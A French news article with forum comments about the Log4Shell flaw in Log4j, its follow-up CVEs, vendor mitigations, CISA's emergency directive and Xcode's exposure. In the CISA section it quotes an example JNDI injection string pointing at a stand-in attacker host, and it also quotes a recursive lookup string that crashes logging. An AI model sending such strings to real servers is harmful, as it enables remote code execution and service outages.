Certains noms de la liste seront familiers au public (Amazon, IBM, Microsoft), mais certains des problèmes les plus alarmants sont survenus avec des logiciels qui restent dans les coulisses. Des fabricants tels que Broadcom, Red Hat et VMware créent des logiciels sur lesquels les entreprises clientes créent leurs activités, répartissant efficacement la vulnérabilité au niveau de l'infrastructure de base de nombreuses entreprises. Cela rend le processus de détection et d'élimination des vulnérabilités d'autant plus difficile, même après la publication d'un correctif pour la bibliothèque affectée.

Même selon les normes de vulnérabilités très médiatisées, Log4Shell frappe une partie inhabituellement importante d'Internet. Cela reflète le fait que le langage de programmation Java est largement utilisé dans les logiciels d'entreprise, et pour les logiciels Java, la bibliothèque Log4j est extrêmement courante.

« J'ai effectué des requêtes dans notre base de données pour voir chaque client qui utilisait Log4j dans l'une de leurs applications », explique Jeremy Katz, co-fondateur de Tidelift, une entreprise qui aide d'autres organisations à gérer les dépendances des logiciels open source. « Et la réponse était : chacun d'entre eux qui a des applications écrites en Java ».

La découverte d'un bogue facilement exploitable trouvé dans un langage principalement axé sur l'entreprise fait partie de ce que les analystes ont appelé une « tempête presque parfaite » autour de la vulnérabilité Log4j. N'importe quelle entreprise peut utiliser de nombreux programmes contenant la bibliothèque vulnérable (dans certains cas, avec plusieurs versions dans une seule application).

« Java existe depuis de nombreuses années et il est très utilisé dans les entreprises, en particulier les grandes », explique le directeur technique de Cloudflare, John Graham-Cumming. « C'est un grand moment pour les personnes qui gèrent des logiciels au sein des entreprises, et elles exécuteront les mises à jour et les atténuations aussi rapidement que possible. »

Compte tenu des circonstances, « aussi vite qu'elles le peuvent » est un terme très subjectif. Les mises à jour logicielles pour les organisations telles que les banques, les hôpitaux ou les agences gouvernementales sont généralement effectuées à l'échelle des semaines et des mois, et non des jours ; généralement, les mises à jour nécessitent de nombreux niveaux de développement, d'autorisation et de test avant d'être intégrées à une application en direct.

En attendant, les mesures d'atténuation qui peuvent être déployées rapidement constituent une étape intermédiaire cruciale, permettant de gagner un temps précieux tandis que les entreprises, grandes et petites, se démènent pour identifier les vulnérabilités et déployer des mises à jour. C'est là que les correctifs au niveau de la couche réseau ont un rôle clé à jouer : étant donné que les programmes malveillants communiquent avec leurs opérateurs via Internet, les mesures qui restreignent le trafic Web entrant et sortant peuvent constituer un pis-aller pour limiter les effets de l'exploit.

Cloudflare était une organisation qui a évolué rapidement, a expliqué Graham-Cumming, ajoutant de nouvelles règles pour son pare-feu qui bloquaient les requêtes HTTP contenant des chaînes caractéristiques du code d'attaque Log4j. ExpressVPN a également modifié son produit pour se protéger contre Log4Shell, mettant à jour les règles VPN pour bloquer automatiquement tout le trafic sortant sur les ports utilisés par LDAP - un protocole que l'exploit utilise pour récupérer des ressources à partir d'URL distantes et les télécharger sur une machine vulnérable.

« Nous voulions mettre un plafond là-dessus, pas seulement pour le bien de nos clients mais pour le bien de tous les autres – un peu comme avec Covid et les vaccins », explique Membrey.

Au moins deux vulnérabilités existent dans le premier correctif proposé

Les développeurs open source ont rapidement publié une mise à jour qui corrigeait la faille et ont exhorté tous les utilisateurs à l'installer immédiatement.

Après cela, les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs exhortent les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.

Le correctif précédent, ont déclaré les chercheurs mardi soir, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.

Mercredi, des chercheurs de la société de sécurité Praetorian ont déclaré qu'il y avait une vulnérabilité encore plus grave dans 2.15.0 (une faille de divulgation d'informations qui peut être utilisée pour télécharger des données à partir des serveurs concernés).

« Dans nos recherches, nous avons démontré que la version 2.15.0 peut toujours permettre l'exfiltration de données sensibles dans certaines circonstances », a écrit le chercheur prétorien Nathan Sportsman. « Nous avons transmis les détails techniques du problème à la Fondation Apache, mais dans l'intervalle, nous recommandons fortement aux clients de passer à la version 2.16.0 le plus rapidement possible. »

Les chercheurs n'ont pas fourni de détails supplémentaires sur la vulnérabilité car ils ne voulaient pas fournir d'informations qui permettraient aux pirates de l'exploiter plus facilement. Cependant, ils ont publié la vidéo suivante qui montre leur exploit de preuve de concept en action :

Les chercheurs du réseau de diffusion de contenu Cloudflare, quant à eux, ont déclaré mercredi que CVE-2021-45046 était désormais en exploitation active. La société a exhorté les gens à mettre à jour vers la version 2.16.0 dès que possible.

Le post de Cloudflare n'a pas indiqué si les attaquants utilisent la vulnérabilité uniquement pour effectuer des attaques DoS ou s'ils l'exploitent également pour voler des données.

« Les attaquants sophistiqués exploiteront la vulnérabilité, établiront un mécanisme de persistance, puis disparaîtront »

Une application logicielle obsolète pourrait toujours recevoir un niveau de protection décent d'un VPN mis à jour, même si cela ne remplace pas un correctif approprié.

Malheureusement, étant donné la gravité de la vulnérabilité, certains systèmes seront compromis, même avec des correctifs rapides déployés. Et il peut s'écouler beaucoup de temps, voire des années, avant que les effets ne se fassent pleinement sentir.

« Les attaquants sophistiqués exploiteront la vulnérabilité, établiront un mécanisme de persistance, puis disparaîtront », a déclaré Daniel Clayton, vice-président des services mondiaux de cybersécurité chez Bitdefender. « Dans deux ans, nous entendrons parler de violations importantes, puis nous apprendrons que les données ont été volées il y a deux ans. »

Le bogue de Log4j met une fois de plus en évidence la nécessité et le défi de financer adéquatement les projets open source. Bloomberg a rapporté plus tôt cette semaine que de nombreux développeurs impliqués dans le course pour développer un correctif pour la bibliothèque Log4j étaient des bénévoles non rémunérés, malgré l'utilisation mondiale du logiciel dans les applications d'entreprise.

L'une des dernières vulnérabilités à secouer Internet, Heartbleed, a également été causée par un bogue dans une bibliothèque open source largement utilisée, OpenSSL. À la suite de ce bogue, des entreprises technologiques comme Google, Microsoft et Facebook se sont engagées à investir plus d'argent dans des projets open source essentiels à l'infrastructure Internet. Mais à la suite des retombées de Log4j, il est clair que la gestion des dépendances reste un problème de sécurité sérieux que nous ne sommes probablement pas près de résoudre.

« Lorsque vous regardez la plupart des gros piratages qui se sont produits au fil des ans, ce n'est normalement pas quelque chose de vraiment sophistiqué qui défait les grandes entreprises », explique Clayton. « C'est quelque chose qui n'a pas été corrigé ».

Sources : Cloudflare, GitHub, Praetorian, produits affectés (GitHub CISA)

[marsupial]

Lorsque RSSI et DSI vont passer leurs fêtes de fin d'année à faire l'inventaire des outils concernés pour les corriger, je pense qu'il serait de bon goût de faire l'inventaire des briques open source les plus utilisées pour ensuite lancer un audit de sécurité dessus afin d'éviter ce genre d'alerte en catastrophe.

[miky55]

Si on pouvait supprimer la mention "Apache" quand on parle de Log4J svp ... j'en peux plus de devoir expliquer que les serveurs web Apache n'ont rien à voir avec cette faille et que non ca ne sert à rien de tous les couper tant qu'on aura pas patcher votre application web qui n'est de toute manière pas concernée

Le probleme est la mauvaise communications des medias specialises sur le sujet. Par ailleurs les serveurs linux sont les plus cibles/vulnerables. log4j ca parle a assez peu de monde, quelles sont les logiciels qui l'utilisent et rende le systeme vulnerable? Quelle est la porte d'entree pour les serveurs linux?

PS:dsl pour les accents, clavier US

[marc.collin]

le jndi injection avait été présenté en 2016
https://twitter.com/argevise/status/1469729647265038337

[Stéphane le calme]

Jamais deux sans trois : Apache révèle un autre bogue dans la bibliothèque de journalisation Log4J,
le troisième correctif majeur en dix jours est une faille de récursivité infinie

L'Apache Software Foundation (ASF) a révélé un troisième bogue dans sa bibliothèque de journalisation open source Log4 Java Log4j. CVE-2021-45105 est un bogue de récursivité infinie noté 7.5/10 qui était présent dans les versions Log4j2 2.0-alpha1 à 2.16.0. Le correctif est disponible dans la version 2.17.0 de Log4j. C'est la troisième nouvelle version de l'outil au cours des dix derniers jours.

Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Il y a quelques jours, une vulnérabilité dans Log4J a été découverte. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.

Le correctif précédent, ont déclaré les chercheurs mardi soir, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.

Mercredi, des chercheurs de la société de sécurité Praetorian ont déclaré qu'il y avait une vulnérabilité encore plus grave dans 2.15.0 (une faille de divulgation d'informations qui peut être utilisée pour télécharger des données à partir des serveurs concernés).

« Dans nos recherches, nous avons démontré que la version 2.15.0 peut toujours permettre l'exfiltration de données sensibles dans certaines circonstances », a écrit le chercheur prétorien Nathan Sportsman. « Nous avons transmis les détails techniques du problème à la Fondation Apache, mais dans l'intervalle, nous recommandons fortement aux clients de passer à la version 2.16.0 le plus rapidement possible. »

Les chercheurs n'ont pas fourni de détails supplémentaires sur la vulnérabilité car ils ne voulaient pas fournir d'informations qui permettraient aux pirates de l'exploiter plus facilement. Cependant, ils ont publié la vidéo suivante qui montre leur exploit de preuve de concept en action :

La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.

La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :

« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».

Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :

« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».

L'ASF a également décrit les mesures d'atténuation suivantes :

• Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
• Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.

La faille a été corrigée dans Log4j 2.17.0 (Java 8).

CISA publie une directive d'urgence pour corriger la vulnérabilité Log4j

Vendredi, le Cybersecurity and Infrastructure Security Agency (CISA) a intensifié son appel pour corriger la vulnérabilité Apache Log4j avec une directive d'urgence exigeant que les agences fédérales américaines prennent des mesures correctives avant 17 h HNE le 23 décembre 2021.

La bibliothèque logicielle comprend Log4j un langage de formatage de texte qui permet l'exécution de code et la vulnérabilité permet à un attaquant distant de créer une chaîne comme ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} pour récupérer l'objet référencé sur le serveur spécifié et l'exécuter.

La faille, appelée Log4Shell ou Logjam, est classée Critique avec un score CVSS de 10,0 et est déjà activement exploitée.

«*Comme Log4Shell est une faille critique avec une surface d'attaque énorme et est très simple à exploiter, les acteurs malveillants l'utilisent activement pour lancer leurs attaques même avec un correctif déjà publié », a déclaré Felipe Tarijon, analyste de logiciels malveillants chez Appgate. « Plusieurs groupes parrainés par l'État exploitent la faille dans la nature et apportent des modifications à l'exploit Log4j ».

Tarijon a déclaré que les botnets Muhstik et une variante de Mirai abusaient de la faille sur les appareils Linux avant la divulgation publique, et des activités d'exploitation telles que le déploiement de mineurs de crypto-monnaie ont été observées. Il a ajouté qu'une nouvelle famille de ransomwares ciblant Windows nommée Khonsari a été vue en train d'exploiter la vulnérabilité Log4j, qui a également été utilisée pour fournir le cheval de Troie d'accès à distance Orcus.

« Cette vulnérabilité, qui est largement exploitée par un nombre croissant d'acteurs de la menace, présente un défi urgent pour les défenseurs du réseau étant donné son utilisation généralisée », a déclaré la directrice de CISA, Jen Easterly, dans un communiqué. « Les utilisateurs finaux dépendront de leurs fournisseurs, et la communauté des fournisseurs doit immédiatement identifier, atténuer et corriger le large éventail de produits utilisant ce logiciel. »

Plus tôt la semaine dernière, la CISA a publié des directives d'atténuation ordonnant aux agences civiles fédérales de mettre à jour Log4j vers la version 2.15 d'ici le 24 décembre 2021, pour traiter CVE-2021-44228.

Mais mercredi, cet avis a été remplacé par la recommandation selon laquelle les entités concernées devraient passer à la version 2.16 pour remédier à un contournement d'atténuation et à une faille distincte qui avait été identifiée, CVE-2021-45046, qui permet à un attaquant de lancer une attaque par déni de service sur les appareils affectés via des charges utiles malveillantes.

La directive d'urgence exige que les agences civiles fédérales d'ici la fin du jour ouvrable du 23 décembre :

• identifient tous les systèmes qui acceptent des données sur Internet ;
• vérifient ces systèmes par rapport au référentiel GitHub géré par CISA*;
• appliquent le dernier correctif Log4j le cas échéant ou mette les systèmes vulnérables hors ligne*;
• soumettre une Pull Request identifiant les actifs non référencés*;
• et supposent que les systèmes vulnérables ont été compromis, avec l'enquête post-incident et l'atténuation que cela implique.

Avant 17 h HNE le 28 décembre 2021, les agences sont tenues de signaler les systèmes qu'elles ont identifiés au cours de ce processus et de détailler les mesures prises.

Il est possible que la directive évolue puisque les responsables bénévoles de Log4j ont identifié un bogue de récursivité infinie, affectant les versions jusqu'à 2.16, qui fera apparemment planter l'application si une substitution de chaîne est tentée sur ce modèle de chaîne ${${::-${::-$${ :: -j}}}}.

« Le premier correctif (2.15) présente toujours une vulnérabilité dans les configurations autres que celles par défaut permettant l'exfiltration de données sensibles », a souligné Tarijon. « Donc, l'application du dernier correctif en mettant à jour vers la version 2.16 suffirait à résoudre le problème d'exécution de code à distance (RCE). Cela désactive JNDI, le composant abusé pour tirer parti du RCE ».

Le bogue de récursivité dans la version 2.16, a-t-il dit, semble être moins critique (il est noté 7,5 sur l'échelle de sévérité) car il ne peut être utilisé que pour une attaque par déni de service qui fait planter le système de journalisation. Bien que le bogue RCE ait été corrigé dans la version 2.16, il s'attend à ce qu'il continue d'avoir un impact significatif en raison de l'énorme surface d'attaque qui dépend des fournisseurs et des tiers qui peuvent ne pas appliquer les correctifs assez rapidement.

« À titre de référence, les vulnérabilités de PrintSpooler en juillet de cette année ont conduit à un bogue RCE, corrigé par Microsoft, mais des exploits et des variantes ultérieurs sont apparus plus tard dès que les acteurs malveillants ont commencé à abuser de la vulnérabilité dans la nature », a expliqué Tarijon.

XCode 13.2 comporte la vulnérabilité Log4J

Sur le forum des développeurs iOS, un développeur a indiqué qu'il semble que la version actuelle de XCode 13.2 contienne la vulnérabilité Log4j. Ce à quoi Apple a répondu : « Bonjour, l'équipe Xcode est au courant de ce problème. Nous ne donnons généralement pas d'ETA pour le moment où un bogue sera corrigé, mais l'équipe est consciente qu'il s'agit d'un problème de sécurité ».

Dans la note de version de XCode 13.2.1, il est précisé :

« Xcode contient une copie de la bibliothèque log4j qui présente la vulnérabilité de sécurité CVE-2021-44228. Xcode télécharge automatiquement une version mise à jour de cette bibliothèque et l'installe dans ~/Library/Caches/com.apple.amp.itmstransporter. Lors de la soumission d'applications à l'App Store, Xcode utilise la version mise à jour de la bibliothèque ».

Sources : Apache, CISA (1, 2), Apple

[marsupial]

Des fois, cela a du bon d'être retraité...

Joyeuses fêtes à tous les admins !

[chrtophe]

Quand on utilise Java le samedi à Broadway, ça hacke comme à Meudon.

[Fleur en plastique]

Ce que ça m'inspire, c'est que Apache et Java, c'est de la M.

Mais surtout, ce qui est de loin le pire, c'est le fait de faire des projets qui incluent je ne sais combien de dépendances externes, et donc la moindre faille dans un composant, même mineur comme ici, met en danger tout le Web parce que je ne sais combien de projets l'incluent par paresse.

De la même manière, la moindre dépendance qui disparaît du jour au lendemain peut empêcher le fonctionnement de milliers de projets, c'était arrivé à Node.Js.

Je sais bien que réinventer la roue n'est pas une bonne chose, mais j'ai toujours milité pour limiter le nombre de dépendances externes dans mes projets. Ma règle d'or : si les doigts d'une main ne suffisent pas à compter les projets externes dont dépendent mon propre projet, c'est qu'il y en a trop et un jour ou l'autre, ça va me péter à la gueule.

On en a ici la preuve.

[marsupial]

Si à chaque faille découverte on devait tout jeter, on retourne à la machine à écrire. Plus de 60 000 failles logicielles découvertes en un an(source dvp) , personne n'est épargné.